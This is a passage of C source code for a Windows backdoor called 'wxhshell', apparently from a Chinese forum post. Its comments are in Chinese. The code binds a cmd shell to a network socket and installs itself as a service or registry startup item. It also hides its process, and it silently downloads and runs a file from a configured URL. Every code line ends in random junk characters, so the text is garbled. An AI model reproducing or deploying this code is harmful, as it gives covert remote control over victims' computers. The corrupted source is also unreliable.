  case '?': { )S`=y-L$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X.V4YmZ- ;  
    break; U Z1Au;(|  
  } T0@$6&b%\z  
  // 安装 3i#'osq  
  case 'i': { NpxgF<G  
    if(Install()) zJ_y"bt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%9=75HA  
    else HLCI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ph>:M  
    break; ? U* `!-  
    } 6$K@s  
  // 卸载 ~ \b~  
  case 'r': { >=86*U~  
    if(Uninstall()) &YBZuq2?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Iiu#- 'B  
    else "-Pz2QJY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J(SGaHm@  
    break; aK8s0G!z?5  
    } J$d']%Dwb  
  // 显示 wxhshell 所在路径 p*U!94Pb  
  case 'p': { - LB}=  
    char svExeFile[MAX_PATH]; Fd<eh(g9P  
    strcpy(svExeFile,"\n\r"); z0UtKE^b  
      strcat(svExeFile,ExeFile); *;F:6p4_  
        send(wsh,svExeFile,strlen(svExeFile),0); HP\5gLVXY  
    break; 7~SnY\B|  
    } iz0:  
  // 重启 CaVVlL  
  case 'b': { X6BOB?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6`X}Z'4.Ox  
    if(Boot(REBOOT)) !;K zR&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i0Rj;E=:]  
    else { &UNQ4-s  
    closesocket(wsh); yY]E~  
    ExitThread(0); p(fMM :  
    } G=LK irj(  
    break; g@.e%  
    } d5`D[,]d  
  // 关机 `lrNH]B  
  case 'd': { biS{.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wB:<ICm  
    if(Boot(SHUTDOWN)) ;#^ o5ht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |7Qe{  
    else { v3G$9 (NE;  
    closesocket(wsh); p K ^$^*#  
    ExitThread(0); 7* [  
    } RRQIlI<  
    break; )i_:[ l6  
    } c|K:oi,z  
  // 获取shell !N!AO(Z  
  case 's': { lBa` nG  
    CmdShell(wsh); TF80WMt  
    closesocket(wsh); ?6HnN0A)  
    ExitThread(0); i5|)|x3  
    break; ou{V/?rb  
  } o' v!83$L  
  // 退出 LB[?kpy  
  case 'x': { xu{VU^'Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C Sz+cS  
    CloseIt(wsh); .gM6m8l9wp  
    break; *aq"c9  
    } K=r~+4F  
  // 离开 ML0_Uc3en  
  case 'q': { KzJJ@D*4M]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }0f~hL24  
    closesocket(wsh); Z>l<.T"t'  
    WSACleanup(); 73nM9  
    exit(1); =pTTXo  
    break; ))nTd=  
        } .8GXpt^U(  
  } -8R SE4)  
  } ?b"'w  
fsWIz1K  
  // 提示信息 fwlicbs'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Xww(5?3  
} LFr$h`_D5  
  } W Q9Q:F2  
/8Z&Y`G  
  return; &0H_W xKeB  
} S]Di1E^r;_  
7#Uzz"^  
// shell模块句柄 [=tIgMmz  
int CmdShell(SOCKET sock) 'Sesh'2 /  
{ rO YD[+  
STARTUPINFO si; Se37-  
ZeroMemory(&si,sizeof(si)); KD\sU6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z9*@w`x^u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G]{^.5  
PROCESS_INFORMATION ProcessInfo; E|jU8qz>P  
char cmdline[]="cmd"; >3~)2)Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )jt?X}  
  return 0; ] W$V#  
} NFC/4  
Bk^o$3#  
// 自身启动模式 P,xJVo\  
int StartFromService(void) ~B? Wg!  
{ B !wr}]  
typedef struct #{^qBP[  
{ +@H{H2J4  
  DWORD ExitStatus; qQ6@43TC  
  DWORD PebBaseAddress; 8R-;cBT  
  DWORD AffinityMask; ledr[)  
  DWORD BasePriority; VE1j2=3+o  
  ULONG UniqueProcessId; xI/8[JW*  
  ULONG InheritedFromUniqueProcessId; 9\T9pjdZE  
}   PROCESS_BASIC_INFORMATION; 2-W y@\  
]ms+ Va_/  
PROCNTQSIP NtQueryInformationProcess; 3 TTQf f  
O: #Sj jK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TJ_6:;4,|_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ckv8QAm  
@`8a 3sL)  
  HANDLE             hProcess; B#35)QI  
  PROCESS_BASIC_INFORMATION pbi; Li$2 Gpc/  
j)Kd'Va  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fO .=i1 E}  
  if(NULL == hInst ) return 0; m~fDDQs  
]*Q,~uV^|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B7YE+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t 7sEY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 412E7   
+P,ic*Kq*  
  if (!NtQueryInformationProcess) return 0; e@ $|xa")  
$|T Lt{ K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fakad#O  
  if(!hProcess) return 0; (0.JoeA`y  
s.n:;8RibP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _-^mxC|M  
pjFj{  
  CloseHandle(hProcess); 1oQbV`P  
IiE^HgM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t~nW&]E  
if(hProcess==NULL) return 0; u47`&\  
/=A@O !l  
HMODULE hMod; |"9vq<`  
char procName[255]; YnW9uy5  
unsigned long cbNeeded; `Mcg&Mi~  
7Kb&BF|Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e"XolM0IM  
QD%6K=8Q  
  CloseHandle(hProcess); o@]n<ZYo  
6d2e WS  
if(strstr(procName,"services")) return 1; // 以服务启动 ZM <UiN  
pSIXv%1J  
  return 0; // 注册表启动 J$s p6 g>K  
} %g3QE:(2@q  
&0:Gj3`  
// 主模块 o{n#f?EA  
int StartWxhshell(LPSTR lpCmdLine) NWQ7%~#k*  
{ `T ^0&#  
  SOCKET wsl; BI<9xl]a  
BOOL val=TRUE; a2i:fz=[  
  int port=0; =MD)F  
  struct sockaddr_in door; R!WDQGR(2  
`w8cV ?  
  if(wscfg.ws_autoins) Install(); 61OlnmvE  
Tyb'p9  
port=atoi(lpCmdLine); 5J&Gc;  
$=^}J 6  
if(port<=0) port=wscfg.ws_port; MPyDG"B*  
oWi#?'  
  WSADATA data; 1&7?f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u|u)8;'9(  
589fr"Ma,6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &TrL!9FtJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K V?+9qa,  
  door.sin_family = AF_INET; ^T1caVb|>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MBKF8b'k  
  door.sin_port = htons(port); KM"?l<x0Y  
{TMng&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5nceOG8  
closesocket(wsl); p|a`Q5z!  
return 1; k]RQ 7e  
} [eTEK W]  
l=S!cj;  
  if(listen(wsl,2) == INVALID_SOCKET) { H!6&'=c{k  
closesocket(wsl); wc"~8Ah  
return 1; ;'Z"CbS+  
} w T_l>u  
  Wxhshell(wsl); yT7{,Z7t  
  WSACleanup(); M\7F1\ X  
]iFW>N*a  
return 0; ;4/ n~  
+u\w4byl  
} %]tW2s"  
FB>P39u  
// 以NT服务方式启动 -y?ve od#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0R(['s:3`  
{ ,+gtr.  
DWORD   status = 0; xt`a":lru  
  DWORD   specificError = 0xfffffff; Y(EF )::  
`w@z Fc!"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pI>GusXg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7*Zm{r@u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |q\i, }  
  serviceStatus.dwWin32ExitCode     = 0; bmKvvq  
  serviceStatus.dwServiceSpecificExitCode = 0; 6!*zgA5M'  
  serviceStatus.dwCheckPoint       = 0; bun_R-  
  serviceStatus.dwWaitHint       = 0; Dsv2p~  
Yc3\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?hIDyM  
  if (hServiceStatusHandle==0) return; |N 2r?b/g  
>Kl_948  
status = GetLastError(); 9]tW;?  
  if (status!=NO_ERROR) '9<8<d7?  
{ F%%mcmHD#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q_BMZEM  
    serviceStatus.dwCheckPoint       = 0; AAB_Ytf  
    serviceStatus.dwWaitHint       = 0; d+ $:u  
    serviceStatus.dwWin32ExitCode     = status; I\j-  
    serviceStatus.dwServiceSpecificExitCode = specificError; [W <j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PtL8Kd0`C  
    return; A L |,\s  
  } BuC\Bd^0  
wp4  .~E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s(L!]d.S$y  
  serviceStatus.dwCheckPoint       = 0; )QnsRW{D"  
  serviceStatus.dwWaitHint       = 0; )RWukr+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /@DJf\`vM  
} X"HVK+  
(gcy3BX;  
// 处理NT服务事件,比如:启动、停止 [?2?7>D8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l%yQ{loTh  
{ n4H'FZ  
switch(fdwControl) a/%qn-i|p  
{ _Ii=3Qsf  
case SERVICE_CONTROL_STOP: wW<u)|>ye  
  serviceStatus.dwWin32ExitCode = 0; k@[[vj|W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F6h IG G  
  serviceStatus.dwCheckPoint   = 0; hOdU%  
  serviceStatus.dwWaitHint     = 0; n \&H~0X  
  { n2[h`zm1{B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :."+&gb  
  } 6IJ;od.\b$  
  return; cVmF'g  
case SERVICE_CONTROL_PAUSE: tWTC'Gx-J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n+vv %  
  break; X@)'E9g5:  
case SERVICE_CONTROL_CONTINUE: m-cw5lW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mFd|JbW  
  break; 4 .(5m\s!  
case SERVICE_CONTROL_INTERROGATE: f&$$*a  
  break; iI*qx+>f?  
}; !rG-[7K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N7;kWQH  
} Ngm/5Lc  
;^)4u  
// 标准应用程序主函数 ( "<4Ry.u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cBCC/n  
{ 8CvNcO;H0  
X|R"8cJ  
// 获取操作系统版本 q)YHhH\  
OsIsNt=GetOsVer(); FEV Ya#S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VArMFP)cz  
_skE\7&>X  
  // 从命令行安装 C MGDg}  
  if(strpbrk(lpCmdLine,"iI")) Install(); v.gAi6  
VQ+G.  
  // 下载执行文件 X7MA>j3m  
if(wscfg.ws_downexe) { .9<euPrz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9h6siK(F  
  WinExec(wscfg.ws_filenam,SW_HIDE); W&&C[@Jd3  
} Kzwe36O;?  
aHNn!9#1  
if(!OsIsNt) { B? XK;*])  
// 如果时win9x,隐藏进程并且设置为注册表启动 o$}$Z&LK  
HideProc(); K>-01AGHL  
StartWxhshell(lpCmdLine); 1IK*j +%  
} U1|{7.R  
else zq|NltK  
  if(StartFromService()) jgfr_"@A  
  // 以服务方式启动 ;9vY5CxzC  
  StartServiceCtrlDispatcher(DispatchTable); 1h{7dLA  
else &uf|Le4  
  // 普通方式启动 Hig.` P  
  StartWxhshell(lpCmdLine); T?7++mcA  
>h(GmR*xM  
return 0; V7 hO}  
}
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只看该作者 1 发表于: 2006-10-10
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